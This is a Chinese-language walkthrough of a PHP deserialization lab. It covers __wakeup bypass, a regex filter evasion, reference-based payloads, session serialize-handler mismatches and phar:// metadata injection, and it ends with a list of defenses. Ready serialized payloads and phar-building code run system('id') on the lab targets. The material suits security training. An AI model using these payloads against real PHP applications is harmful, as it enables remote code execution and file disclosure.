PHP反序列化靶场通关记录-2
字数 1621 2025-08-11 00:55:05
PHP反序列化漏洞实战与防御指南
0x18 __wakeup方法绕过
漏洞原理
当PHP反序列化一个对象时,如果类中定义了__wakeup()方法,该方法会在反序列化完成后自动执行。但存在一个特性:当传入的序列化字符串中对象属性数量大于实际属性数量时,__wakeup()方法不会被执行。
示例代码分析
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
攻击步骤
- 目标是通过反序列化将
$file设置为"flag.php" - 但
__wakeup()方法会重置$file为"index.php" - 需要绕过
__wakeup()的执行
绕过方法
修改序列化字符串中的属性数量:
- 原始格式:
O:6:"secret":1:{s:4:"file";s:8:"flag.php";} - 绕过格式:
O:6:"secret":2:{s:4:"file";s:8:"flag.php";}(将属性数量改为大于实际数量的值)
正则绕过
代码中使用了正则过滤:preg_match('/[oc]:\d+:/i',$cmd)
- 匹配模式:O/C:数字:
- 绕过方法:使用
O:+6代替O:6
最终Payload
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
注意:需要进行URL编码,防止+被解析为空格
0x19 引用反序列化
漏洞原理
PHP引用允许不同变量名访问同一内容。在反序列化中可以利用引用来确保两个属性始终相等。
示例代码分析
class just4fun {
var $enter;
var $secret;
}
// 反序列化后
$o->secret = "*";
if ($o->secret === $o->enter) {
// 获取flag
}
攻击思路
- 需要使
$o->secret和$o->enter相等 - 但代码会对传入的
*进行替换 - 使用引用使两个属性指向同一内存地址
Payload生成
$j = new just4fun();
$j->enter = &$j->secret; // 设置引用
echo serialize($j);
最终Payload
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
其中R:2表示对第2个存储的值的引用
0x20-0x21 Session反序列化
漏洞原理
当不同页面使用不同的session序列化处理器时,可能导致反序列化漏洞。
处理器格式差异
php:键名|序列化值php_serialize:序列化值(数组形式)php_binary:键长度(ASCII)+键名+序列化值
示例场景
-
保存页面使用
php_serialize:ini_set('session.serialize_handler','php_serialize'); $_SESSION['ben'] = $_GET['a']; -
读取页面使用
php:ini_set('session.serialize_handler','php'); // 反序列化时会将|前作为键名,后作为值
攻击步骤
- 构造恶意序列化数据:
|O:1:"D":1:{s:1:"a";s:13:"system('id');";} - 通过保存页面写入session
- 访问读取页面触发反序列化
0x21进阶利用
- 分析Flag类需要
name === her - 使用引用构造Payload:
|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;} - 通过hint.php保存session
- 访问index.php触发flag
0x22-0x23 Phar反序列化
Phar文件结构
- Stub: 文件头,通常为
<?php __HALT_COMPILER(); ?> - Manifest: 包含meta-data(反序列化入口点)
- File Contents: 文件内容
- Signature: 签名(可选)
漏洞原理
当使用phar://协议访问文件时,PHP会自动解析phar文件的meta-data并进行反序列化。
示例利用
class Testobj {
var $output="echo 'ok';";
function __destruct() {
eval($this->output);
}
}
// 触发点
file_exists($_GET['filename']);
攻击步骤
-
创建恶意phar文件:
$phar = new Phar('test.phar'); $o = new Testobj(); $o->output = "system('id');"; $phar->setMetadata($o); -
通过
phar://协议触发:filename=phar://test.phar/test.txt
0x23文件上传绕过
- 修改文件头为
GIF89a绕过检测 - 修改文件后缀和Content-Type
- 上传后通过phar协议触发
防御措施
- 输入验证:不要直接反序列化用户输入
- 使用白名单:只允许反序列化预期的类
- 签名验证:对序列化数据进行签名验证
- 设置处理器:统一session序列化处理器
- 禁用危险函数:如
eval()、system()等 - 更新PHP版本:新版本修复了许多反序列化漏洞
总结
PHP反序列化漏洞主要利用点:
- 魔术方法的自动调用(
__wakeup,__destruct等) - 引用机制的滥用
- 不同处理器间的格式差异
- Phar协议的自动反序列化特性
防御关键在于严格控制反序列化源和内容,遵循"不信任任何用户输入"的原则。